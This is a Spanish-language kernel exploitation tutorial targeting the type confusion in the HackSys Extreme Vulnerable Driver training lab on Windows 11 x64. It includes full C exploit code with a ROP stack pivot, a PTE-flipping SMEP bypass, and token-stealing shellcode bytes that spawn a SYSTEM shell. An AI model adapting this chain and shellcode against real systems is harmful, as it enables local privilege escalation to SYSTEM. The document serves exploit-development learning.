0x06 - Acercándose a Windows Kernel Type Confusions Modernos
En el último tutorial explotamos una “Type Confusion” dentro del kernel de Windows 7 (x86). Habiendo obtenido un base sólido para esta vulnerabilidad, podemos proceder a intentar aprovechalo dentro de Windows 11 (x64).
Table of Contents
Ingeniería Inversa
Veamos el controlador vulnerable y las estructuras respectivas.
No podemos ignorar que tenemos mucha información sobre cómo funciona esta vulnerabilidad. La única diferencia que debemos tener en cuenta es la asignación de memoria, que será de 16 (0x10) bytes. Esto es por el tamaño de un “unisigned long” en la arquitectura de x64.
Dicho esto podemos empezar a escribir el PoC.
Escribiendo el Exploit
Abajo esta el PoC para empezar a trabajar.
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>
#define TYPE_CONFUSION 0x222023
/* Structure used by Type Confusion */
typedef struct _USER_TYPE_CONFUSION_OBJECT {
uint64_t ObjectId;
uint64_t ObjectType;
} USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;
/* GetKernelModuleBase():
Function used to obtain kernel module address */
LPVOID GetKernelModuleBase(PCHAR pKernelModule)
{
char pcDriver[1024] = { 0 };
LPVOID lpvTargetDriver = NULL;
LPVOID *lpvDrivers = NULL;
DWORD dwCB = 0;
DWORD dwDrivers = 0;
DWORD i = 0;
EnumDeviceDrivers(NULL, dwCB, &dwCB);
if (dwCB <= 0)
return NULL;
lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));
if (lpvDrivers == NULL)
return NULL;
if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB))
{
dwDrivers = dwCB / sizeof(LPVOID);
for (i = 0; i < dwDrivers; i++)
if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))
if (StrStrA(pcDriver, pKernelModule) != NULL)
lpvTargetDriver = lpvDrivers[i];
}
free(lpvDrivers);
return lpvTargetDriver;
}
/* CheckWin():
Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
DWORD win = 0;
DWORD dwLen = 0;
CHAR *cUsername = NULL;
GetUserNameA(NULL, &dwLen);
if (dwLen > 0) {
cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
} else {
printf("[-] Failed to allocate buffer for username check\n");
return -1;
}
GetUserNameA(cUsername, &dwLen);
win = strcmp(cUsername, "SYSTEM");
free(cUsername);
return (win == 0) ? win : -1;
}
/* Exploit():
Type Confusion */
int Exploit(HANDLE hHEVD)
{
DWORD dwBytesReturned = 0;
LPVOID lpvNtKrnl = NULL;
LPVOID lpvAllocation = NULL;
USER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject = { 0 };
lpvNtKrnl = GetKernelModuleBase("ntoskrnl");
if (lpvNtKrnl == NULL)
{
printf("[-] Failed to obtain the base address of nt\n");
return -1;
}
printf("[*] Obtained the base address of nt: 0x%p\n", lpvNtKrnl);
lpvAllocation = VirtualAlloc(NULL,
0x1000,
(MEM_COMMIT | MEM_RESERVE),
PAGE_EXECUTE_READWRITE);
if (lpvAllocation == NULL)
{
printf("[*] Failed to allocate memory\n");
return -1;
}
memset(lpvAllocation, 'C', 0x1000);
UserTypeConfusionObject.ObjectId = 0x4141414141414141;
UserTypeConfusionObject.ObjectType = 0x4242424242424242;
printf("[*] Triggering Type Confusion\n");
DeviceIoControl(hHEVD,
TYPE_CONFUSION,
&UserTypeConfusionObject,
sizeof(UserTypeConfusionObject),
NULL,
0x00,
&dwBytesReturned,
NULL);
return CheckWin();
}
int main()
{
HANDLE hHEVD = NULL;
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
return -1;
}
if (Exploit(hHEVD) == 0) {
printf("[+] Exploitation successful, enjoy the shell!!\n\n");
system("cmd.exe");
} else {
printf("[*] Exploitation failed, run again\n");
}
if (hHEVD != NULL)
CloseHandle(hHEVD);
return 0;
}
Plan de Ataque
Una vez ejecutado, podemos ver que obtuvimos control sobre el flujo de ejecución.
Podemos ver que el registro RBX apunta a nuestro objeto / estructura. Mi idea aquí es que podemos realizar un “stack pivot” en una asignación que controlamos desde el área de usuario (por ejemplo, VirtualAlloc).
El Comienzo de Sufrimiento
Busquemos gadgets, usaremos nuestra herramienta favorita rp++, de 0vercl0k.
C:\>rp-win.exe --rop=20 --va=0 --file C:\Windows\System32\ntoskrnl.exe > rop.txt
Dado que es un archivo grande, pasemos lo a Linux. Si planeas analizarlo usando grep, necesitarás convertir este archivo a ASCII.
$ file rop.txt
rop.txt: Unicode text, UTF-16, little-endian text, with very long lines (388), with CRLF line terminators
$ iconv -f utf-16 -t us-ascii//TRANSLIT rop.txt > rop_ascii.txt
En este momento estaba completamente confundido porque las cosas no iban como hemos planeado. Revisé el blog de VulnDevs para ver qué habría hecho y usó un “gadget” interesante.
QWORD STACK_PIVOT_GADGET = ntBase + 0x317f70; // mov esp, 0x48000000; add esp, 0x28; ret;
Nunca había visto un gadget como este ni siquiera sabía que esto fuera posible… hay algunas cosas que debemos tener en cuenta al usar un gadget como este.
- La dirección debe estar alineada (address % 16 == 0)
- Debemos dar margen de maniobra para que el kernel lea / escriba en esta área de la memoria. (target_address - 0x1000)
- Debemos encerrar la región de memoria usando VirtualLock
El código abajo hace precisamente eso.
/* We're going to be allocating memory at 0xF6C875C0-0x1000, we must do this to give
the kernel room to read/write to this memory region */
lpvAllocTarget = (LPVOID)0xF6C875C0;
lpvAllocation = VirtualAlloc((lpvAllocTarget - 0x1000),
0x5000,
(MEM_COMMIT | MEM_RESERVE),
PAGE_READWRITE);
if (lpvAllocation == NULL)
{
printf("[*] Failed to allocate memory\n");
return -1;
}
/* We lock the allocated memory region into RAM to avoid a page fault */
if (VirtualLock(lpvAllocation, 0x5000) == FALSE)
{
printf("[*] Failed to lock virtual address space\n");
return -1;
}
printf("[*] Successfully locked 0x%p\n", lpvAllocation);
RtlFillMemory((LPVOID)lpvAllocTarget, 0x4000, 'A');
...
UserTypeConfusionObject.ObjectType = (uint64_t)lpvNtKrnl + 0x32e4fe; // mov esp, 0xF6C875C0 ; ret
Una vez enviado, el pivote NO trabajó…
Si analizamos esto nos encontramos con una doble falta…
A este punto pasó un mes y no llegaba a ninguna lugar… hasta que encontré un blog por wafzsucks y finalmente todo se redujo a puntos de interrupción que rompían el exploit.
Una vez que eliminé mi punto de interrupción, todo funcionó?
Teoría
Aunque tenía un exploit funcional en este punto, quería entender por qué, así que decido recorrer el blog wafzsucks :)
Lo que sigue en esta sección son principalmente notas de wafzsucks. Quiero aser esto claro. Sin embargo, escribir notas es la forma en que yo aprendo.
Operaciones Generales de Memoria
Según la información de Wikipedia, el kernel tiene acceso completo a la memoria del sistema. Es responsable de permitir que los procesos accedan a la memoria según sea necesario. Esto se hace mediante direccionamiento virtual (mediante paginación y/o segmentación).
Según Wikipedia, al utilizar este esquema (paginación), el sistema operativo obtiene información en bloques llamados páginas. Por ejemplo, en Windows una página tiene 4 KB (4006 o 0x1000 bytes).
Lo que hace el direccionamiento virtual es permitir que el kernel haga que una dirección física determinada parezca otra dirección, la dirección virtual.
wafzsucks lo expresó perfectamente, es por eso que cuando se carga un juego, los fanáticos comienzan y se usa mucha memoria incluso antes de que comience el juego. Esto se debe a que la memoria se asigna y se obtiene mientras el juego se carga en dicha memoria.
Con el uso de VirtualAlloc() en Windows y mmap() en Linux, podemos mapear un rango de memoria virtual en una dirección definida. Es por eso que esta solución es un enfoque sólido para el pivotamiento de el stack.
Memoria Virtual
La imagen de abajo está tomada del blog de wafzsucks blog).
Podemos ver en la imagen de arriba que una dirección virtual está asignada a múltiples regiones en la memoria física. En corto, el sistema operativo gestiona los espacios de direcciones virtuales y la asignación de memoria real. El hardware de traducción de direcciones en la CPU, a menudo denominado unidad de administración de memoria (MMU), traduce automáticamente direcciones virtuales en direcciones físicas.
Según Wikipedia, los beneficios de la memoria virtual incluyen:
- Las aplicaciones no tienen que administrar el espacio de memoria compartida
- Capacidad de compartir la memoria utilizada por las librerias entre procesos.
- Mayor seguridad debido al aislamiento de la memoria.
Y conceptualmente poder utilizar más memoria de la que podría estar disponible físicamente, utilizando la técnica de paginación o segmentación.
Sumario de Memoria Paginada
Cuando escuchamos las palabras memoria paginada
(Paged Memory) nos referimos a una técnica en la que el sistema operativo divide la memoria de un programa o sistema en bloques fijos llamados páginas (como sabemos). A continuación se muestran algunos conceptos clave a tener en cuenta con la memoria paginada:
- Tabla de páginas (Page Table)
- Los sistemas operativos mantienen una estructura de información conocida como tabla de páginas. Esta tabla realiza un seguimiento de la asignación entre las direcciones de memoria virtual utilizadas por un programa y la ubicación de la dirección de memoria física donde se almacenan la información.
- Memoria virtual (Virtual Memory)
- Como se mencionó anteriormente, así es como los programas interactúan con la memoria física sin tocarla directamente. Básicamente traducir direcciones virtuales a direcciones físicas.
- Fallos de página (Page Faults)
- Cuando un programa accede a una página de memoria virtual que no está actualmente en la memoria física, se produce una falla de página. Desde aquí el control se transfiere del programa al sistema operativo.
- Paginación por demanda (Demand Paging)
- La mayoría de los sistemas operativos utilizan paginación exigente, que es donde las páginas sólo se cargan en la memoria cuando es necesario. Esto es para conservar la memoria física cargando SOLO páginas que se están utilizando activamente.
- Reemplazo de página (Page Replacement)
- Si la memoria física está llena, es posible que el sistema operativo deba elegir qué páginas eliminar de la memoria para dejar espacio para páginas nuevas.
- Tamaño de página (Page Size)
- El tamaño de cada página es un factor crucial en la eficiencia de la gestión de la memoria. Un tamaño de página más pequeño puede conducir a una administración de memoria más detallada, pero también puede generar una mayor sobrecarga debido a una tabla de páginas más grande. Un tamaño de página mayor puede reducir el tamaño de la tabla, pero puede provocar que se carguen más datos en la memoria incluso si solo se necesita una pequeña parte.
Probando la Teoría
Revisemos nuestro ejemplo de código.
lpvAllocTarget = (LPVOID)0xF6C875C0;
lpvAllocation = VirtualAlloc((lpvAllocTarget - 0x1000),
0x10000,
(MEM_COMMIT | MEM_RESERVE),
PAGE_READWRITE);
if (lpvAllocation == NULL)
{
printf("[*] Failed to allocate memory\n");
return -1;
}
UserTypeConfusionObject.ObjectId = (uint64_t)lpvAllocation;
UserTypeConfusionObject.ObjectType = (uint64_t)lpvNtKrnl + 0x32e4fe; // mov esp, 0xF6C875C0 ; ret
printf("[*] Triggering Type Confusion\n");
DeviceIoControl(hHEVD,
TYPE_CONFUSION,
&UserTypeConfusionObject,
sizeof(UserTypeConfusionObject),
NULL,
0x00,
&dwBytesReturned,
NULL);
Si verificamos el PTE de la nueva dirección de stack, veremos que NO ES una entrada de página válida.
Que significa que el control se le dará al kernel y fallaremos!
Esto es por la paginación de demanda mencionada anteriormente. Para que esta sea una página válida, podemos intentar escribir en la página anterior para evitar el error de página, ya que entonces estará en uso. Ate intentarlo!
lpvAllocTarget = (LPVOID)0xF6C875C0;
lpvAllocation = VirtualAlloc((lpvAllocTarget - 0x1000),
0x10000,
(MEM_COMMIT | MEM_RESERVE),
PAGE_READWRITE);
if (lpvAllocation == NULL)
{
printf("[*] Failed to allocate memory\n");
return -1;
}
printf("[*] Successfully created allocation: 0x%p\n", lpvAllocation);
printf("[*] Writing random buffer to prevous page\n");
RtlFillMemory((lpvAllocTarget-0x1000), 0x1000, 'A');
Esta vez, cuando llegamos al punto de interrupción, podemos ver que la página es válida :)
Sin embargo, todavía tenemos un choque? Aquí es donde entra VirtualLock
.
Sin embargo, todavía tengo un choque! Según la información del blog de Kristal-G, parece que esta dirección es demasiado alta. Esto también se muestra en el error real anterior: con eso decidí cambiar mi gadget de pivote de stack.
Explotación
Después de llorar un rato logré crear un exploit seguro como se muestra a abajo:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <shlwapi.h>
#define TYPE_CONFUSION 0x222023
/* Structure used by Type Confusion */
typedef struct _USER_TYPE_CONFUSION_OBJECT {
uint64_t ObjectId;
uint64_t ObjectType;
} USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;
/* GetKernelModuleBase():
Function used to obtain kernel module address */
LPVOID GetKernelModuleBase(PCHAR pKernelModule)
{
char pcDriver[1024] = { 0 };
LPVOID lpvTargetDriver = NULL;
LPVOID *lpvDrivers = NULL;
DWORD dwCB = 0;
DWORD dwDrivers = 0;
DWORD i = 0;
EnumDeviceDrivers(NULL, dwCB, &dwCB);
if (dwCB <= 0)
return NULL;
lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));
if (lpvDrivers == NULL)
return NULL;
if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB))
{
dwDrivers = dwCB / sizeof(LPVOID);
for (i = 0; i < dwDrivers; i++)
if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))
if (StrStrA(pcDriver, pKernelModule) != NULL)
lpvTargetDriver = lpvDrivers[i];
}
free(lpvDrivers);
return lpvTargetDriver;
}
/* CheckWin():
Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
DWORD win = 0;
DWORD dwLen = 0;
CHAR *cUsername = NULL;
GetUserNameA(NULL, &dwLen);
if (dwLen > 0) {
cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
} else {
printf("[-] Failed to allocate buffer for username check\n");
return -1;
}
GetUserNameA(cUsername, &dwLen);
win = strcmp(cUsername, "SYSTEM");
free(cUsername);
return (win == 0) ? win : -1;
}
void WriteGadgets(LPVOID lpvNt, LPVOID lpvBuffer)
{
uint64_t *rop = (uint64_t *)(lpvBuffer);
uint64_t nt = (uint64_t)(lpvNt);
uint8_t sc[129] = {
// sickle-tool -p windows/x64/kernel_token_stealer -f num (58 bytes)
0x65, 0x48, 0xa1, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x80,
0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xb2, 0x04, 0x48, 0x8b, 0x80, 0x48, 0x04,
0x00, 0x00, 0x48, 0x2d, 0x48, 0x04, 0x00, 0x00, 0x38, 0x90, 0x40, 0x04, 0x00, 0x00,
0x75, 0xeb, 0x48, 0x8b, 0x90, 0xb8, 0x04, 0x00, 0x00, 0x48, 0x89, 0x91, 0xb8, 0x04,
0x00, 0x00,
// sickle-tool -p windows/x64/kernel_sysret -f num (71)
0x65, 0x48, 0xa1, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x8b, 0x88,
0xe4, 0x01, 0x00, 0x00, 0x66, 0xff, 0xc1, 0x66, 0x89, 0x88, 0xe4, 0x01, 0x00, 0x00,
0x48, 0x8b, 0x90, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68, 0x01, 0x00, 0x00,
0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00,
0x48, 0x8b, 0xaa, 0x58, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48, 0x0f,
0x07 };
LPVOID shellcode = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode, sc, 129);
/* Prepare RDX register for later. This is needed for the XOR operation */
*rop++ = nt + 0x40ed4e; // pop rdx ; pop rax ; pop rcx ; ret
*rop++ = 0x000008; // Set RDX to 0x08, we will need this to accomplish the XOR
*rop++ = 0x000000; // [filler]
*rop++ = 0x000000; // [filler]
/* Setup the call to MiGetPteAddress in order to get the address of the PTE for our
userland code. The setup is as follows:
RAX -> VOID *MiGetPteAddress(
( RCX == PTE / Userland Code )
);
Once the call is complete RAX should contain the pointer to our PTE. */
*rop++ = nt + 0x57699c; // pop rcx ; ret
*rop++ = (uint64_t)shellcode; // *shellcode
*rop++ = nt + 0x24aaec; // MiGetPteAddress()
/* Now that we have obtained the PTE address, we can modify the 2nd bit in order to
mark the page as a kernel page (U -> K). We can do this using XOR ;) */
*rop++ = nt + 0x30fcf3; // sub rax, rdx ; ret
*rop++ = nt + 0x54f344; // push rax ; pop rbx ; ret
*rop++ = nt + 0x40ed4e; // pop rdx ; pop rax ; pop rcx ; ret
*rop++ = 0x000004; // 0x40ed4e: pop rdx ; pop rax ; pop rcx ; ret ; (1 found)
*rop++ = 0x000000; // [filler]
*rop++ = 0x000000; // [filler]
*rop++ = nt + 0x3788b6; // xor [rbx+0x08], edx ; mov rbx, qword [rsp+0x60] ; add rsp, 0x40 ; pop r14 ; pop rdi ; pop rbp ; ret
/* Now we cam spray our shellcode address since SMEP and VPS should be bypassed */
for (int i = 0; i < 0xC; i++) {
*rop++ = (uint64_t)shellcode;
}
}
/* Exploit():
Type Confusion */
int Exploit(HANDLE hHEVD)
{
uint64_t *rop = NULL;
BOOL bBlocked;
DWORD dwBytesReturned = 0;
LPVOID lpvNtKrnl = NULL;
LPVOID lpvAllocation = NULL;
LPVOID lpvAllocTarget = NULL;
USER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject = { 0 };
lpvNtKrnl = GetKernelModuleBase("ntoskrnl");
if (lpvNtKrnl == NULL)
{
printf("[-] Failed to obtain the base address of nt\n");
return -1;
}
printf("[*] Obtained the base address of nt: 0x%p\n", lpvNtKrnl);
/* Allocate memory one page before the target memory region. This helps prevent
the Double Fault; Logic here is avoid not triggering "Demand Paging". */
lpvAllocTarget = (LPVOID)0x48000000;
printf("[*] Allocation to be made at 0x%p - PAGE_SIZE\n", lpvAllocTarget);
lpvAllocation = VirtualAlloc((lpvAllocTarget - 0x1000),
0x10000,
(MEM_COMMIT | MEM_RESERVE),
PAGE_READWRITE);
if (lpvAllocation == NULL)
{
printf("[*] Failed to allocate memory\n");
return -1;
}
printf("[*] Successfully created allocation: 0x%p\n", lpvAllocation);
/* Trigger the Type Confusion by overwriting the function pointer */
UserTypeConfusionObject.ObjectId = 0x4242424242424242;
UserTypeConfusionObject.ObjectType = (uint64_t)lpvNtKrnl + 0x28d700; // mov esp, 0x48000000 ; add esp, 0x28 ; ret
/* Let the Kernel breathe... this is needed to avoid a crash, my thoery is
if we don't do this the allocation will not be mapped properly. So what
we need to do is sleep for a few seconds to allow this to happen! First
time trying this I was under the impression VirtualLock was needed, but
when testing it never locked? So after debugging I found this to be the
solution. This exploit succeded 9/10 times vs the original 2/10 ;D */
printf("[*] Letting the kernel breathe");
for (int i = 0; i < 4; i++) {
putchar('.');
Sleep(1000);
}
putchar('\n');
/* Fill the page before the target region with random data */
RtlFillMemory(lpvAllocation, 0x1000, 'A');
/* Write the gadget chain at the location we return */
WriteGadgets(lpvNtKrnl, (lpvAllocTarget + 0x28));
printf("[*] Triggering Type Confusion\n");
DeviceIoControl(hHEVD,
TYPE_CONFUSION,
&UserTypeConfusionObject,
sizeof(UserTypeConfusionObject),
NULL,
0x00,
&dwBytesReturned,
NULL);
return CheckWin();
}
int main()
{
HANDLE hHEVD = NULL;
hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hHEVD == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
return -1;
}
if (Exploit(hHEVD) == 0) {
printf("[+] Exploitation successful, enjoy the shell!!\n\n");
system("cmd.exe");
} else {
printf("[*] Exploitation failed, run again\n");
}
if (hHEVD != NULL)
CloseHandle(hHEVD);
return 0;
}
Si me seguiste, teníamos una página válida? Entonces, por qué necesitábamos VirtualLock?
Bueno… no era necesarios! El exploit mostrado arriba no utilizó la función VirtualLock. Durante la depuración vimos que la página era válida… además VirtualLock nunca tuvo éxito… Continuaba recibiendo el código de error ERROR_NOACCESS (0x3E6), lo que significa que la página nunca se “bloqueó”.
Si consultas la documentación en MSDN verá que a veces se necesitan dos llamadas, debido a la forma en que funciona esta función. ¿Necesita mayores privilegios? No estoy seguro, pero lo eliminé para comprobar si hacía algo y, para mi sorpresa, no sea.
Además, encontré que la explotación era realmente poco confiable. Para que funcione el 90% del tiempo (si no el 100%), qué se debe hacer?
Lo has adivinado! Una llamada a Sleep()
:P
Mi teoría es que la asignación necesitaba tiempo para “registrarse”. Explotación se muestra a abajo!
Recursos
https://wafzsucks.medium.com/how-a-simple-k-typeconfusion-took-me-3-months-long-to-create-a-exploit-f643c94d445f
https://kristal-g.github.io/2021/02/20/HEVD_Type_Confusion_Windows_10_RS5_x64.html
https://kristal-g.github.io/2021/02/07/HEVD_StackOverflowGS_Windows_10_RS5_x64.html